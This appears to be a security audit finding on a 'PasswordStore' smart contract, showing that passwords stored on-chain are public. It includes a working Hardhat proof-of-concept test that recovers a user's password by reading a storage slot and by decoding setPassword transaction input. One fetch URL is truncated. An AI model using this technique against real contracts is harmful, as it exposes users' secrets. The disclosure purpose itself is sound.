Anyone can read storage slots of a deployed contract OR decode input params of a transaction that called setPassword() function. You cannot store any secrets on a blockchain.
Storage slots of a smart contract can be easily read, so can be input params of a sent transaction. A password stored in a storage variable ( or that was sent as an input ) will be compromised.
Passwords will be compromised and all the relevant projects hacked. The proof test case:
import { expect } from 'chai';
import { ethers } from 'hardhat';
import { Transaction } from 'ethers';
const { provider, deployContract, getSigners, keccak256, AbiCoder, concat, decodeBytes32String, dataSlice } = ethers;
describe('passwordStore', function () {
it('We should retreive password from the storage', async () => {
const [deployer, user1] = await getSigners();
const password = 'mySecretPassword';
const contract = await deployContract('PasswordStore');
await contract.connect(user1).setPassword(password);
const slot = keccak256(
concat([AbiCoder.defaultAbiCoder().encode(['address'], [user1.address]), AbiCoder.defaultAbiCoder().encode(['uint256'], [0])])
);
const fetchedBytes = await provider.getStorage(contract.target, slot);
const decodedPassword = decodeBytes32String(fetchedBytes.slice(0, -2) + '00');
console.log('DRUM ROLL..... THE DECODED PASSWORD IS:', decodedPassword);
expect(decodedPassword).equals(password);
});
it('We should get the password from the tx input', async () => {
const [deployer, user1] = await getSigners();
const password = 'mySecretPassword';
const contract = await deployContract('PasswordStore');
await contract.connect(user1).setPassword(password);
const { transactions } = await provider.send('eth_getBlockByNumber', ['latest', true]);
const neededTx = transactions.find((tx: Transaction) => tx.to!.toLowerCase() === contract.target.toString().toLowerCase());
const functionSig = dataSlice(neededTx?.input!, 0, 4);
const res = await (await fetch(`https:
const decodedFuncSig = res.result.function[functionSig][0].name;
console.log('Function sig:', decodedFuncSig);
const decodedFuncInput = AbiCoder.defaultAbiCoder().decode(['string'], dataSlice(neededTx!.input, 4));
console.log('Function input:', decodedFuncInput[0]);
expect(decodedFuncInput[0]).equals(password);
});
});
The tests pass, passwords match in both cases, we were able to get the user1 password by slot reading and by decoding his setPassword tx...
Do not store secrets on a blockchain, store them hashed on some secured centralized server, for example